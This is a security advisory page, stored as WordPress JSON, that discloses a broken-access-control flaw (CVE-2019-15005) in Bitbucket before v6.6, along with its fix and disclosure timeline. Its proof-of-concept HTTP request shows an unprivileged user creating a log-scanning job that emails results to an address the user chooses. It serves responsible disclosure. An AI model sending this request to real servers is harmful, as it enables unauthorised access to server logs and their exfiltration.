{"id":16607,"date":"2021-07-08T11:31:29","date_gmt":"2021-07-08T09:31:29","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2019-0016\/"},"modified":"2021-07-19T14:11:12","modified_gmt":"2021-07-19T12:11:12","slug":"usd-2019-0016","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2019-0016\/","title":{"rendered":"usd-2019-0016"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h1 class=\"h-custom-headline usd-small-letters h2\"><span>usd-2019-0016 | Bitbucket v5.10.1 \u2013 Broken Access Control 2<\/span><\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2019-0016<\/span><br \/><strong>CVE Number<\/strong><span>: CVE-2019-15005 <\/span><br \/><strong>Affected Product<\/strong><span>: Bitbucket<\/span><br \/><strong>Affected Version<\/strong><span>: &lt; v6.6<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Broken Access Control<\/span><br \/><strong>Security Risk<\/strong><span>: High<\/span><br \/><strong>Vendor URL<\/strong><span>: <\/span><a href=\"https:\/\/www.atlassian.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.atlassian.com\/<\/a><br \/><strong>Vendor Status<\/strong><span>: Fixed<\/span><\/p>\n<h3><\/h3>\n<h3>Description<\/h3>\n<p><span>Access control, sometimes called authorization, is how a web application grants access to content and functions to some users and not others.<\/span><br \/><span>These checks are performed after authentication, and govern what \u2018authorized\u2019 users are allowed to do. Access control sounds like a simple problem but is insidiously difficult to implement correctly.<\/span><br \/><span>A web application\u2019s access control model is closely tied to the content and functions that the site provides. In addition, the users may fall into a number of groups or roles with different abilities or privileges.<\/span><\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<div class=\"x-text\">\n<p>Inside the endpoint \u201e\/rest\/troubleshooting\/latest\/hercules\/periodicScanner\/settings\u201c an administrator can create a job for scanning logfiles periodicaly.<br \/>Unpriviliged users don\u2019t have access to the GUI which configures such jobs. But unprivileged users can successfully send a request to create a scanning job.<br \/>In particular they can state an email address, to which the results will be send.<\/p>\n<p>Request (send from an normal user):<\/p>\n<\/div>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]POST \/rest\/troubleshooting\/latest\/hercules\/periodicScanner\/settings HTTP\/1.1<br \/>\nHost: hostname<br \/>\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:60.0) Gecko\/20100101 Firefox\/60.0<br \/>\nAccept: *\/*<br \/>\nAccept-Language: en-US,en;q=0.5<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nContent-Type: application\/x-www-form-urlencoded<br \/>\nX-Atlassian-Token: no-check<br \/>\nX-Requested-With: XMLHttpRequest<br \/>\nContent-Length: 139<br \/>\nCookie: BITBUCKETSESSIONID=7C0B64E8BD71F211473E99B718E58CC7;<br \/>\nDNT: 1<br \/>\nConnection: close<\/p>\n<p>atl_token=2b8b95d4b3baba6ae79ceae9139839cbe06a9ca6&amp;amp;enabled=on&amp;amp;start-time-hour=2&amp;amp;start-time-minute=4&amp;amp;frequency=daily&amp;amp;recipients=bla%40bla.de<\/p>\n<p>Response:<br \/>\nHTTP\/1.1 200<br \/>\nVary: Accept-Encoding<br \/>\nContent-Type: application\/json<br \/>\nDate: Thu, 07 Mar 2019 11:46:53 GMT<br \/>\nConnection: close<br \/>\nContent-Length: 83<\/p>\n<p>{\"feedback\":\"This job will be run daily starting at 3\/8\/19 2:04 AM (server time).\"}<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p><span>Protect endpoints, which provide sensitive functionalities, with proper access control.<\/span><\/p>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2019-03-28 Vulnerability securely submitted to security@atlassian.com<\/li>\n<li>2019-08-27 Atlassian releases Bitbucket 6.6.0 which addresses the vulnerability<\/li>\n<li>2019-10-21 First Published<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p><span>This security vulnerabilities were found by Tobias Neitzel and Julian Frey of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2019-0016 | Bitbucket v5.10.1 \u2013 Broken Access Control 2 Advisory ID: usd-2019-0016CVE Number: CVE-2019-15005 Affected Product: BitbucketAffected Version: &lt; v6.6Vulnerability Type: Broken Access ControlSecurity Risk: HighVendor URL: https:\/\/www.atlassian.com\/Vendor Status: Fixed Description Access control, sometimes called authorization, is how a web application grants access to content and functions to some users and not others.These checks are [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16607","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16607","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16607"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16607\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16607"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}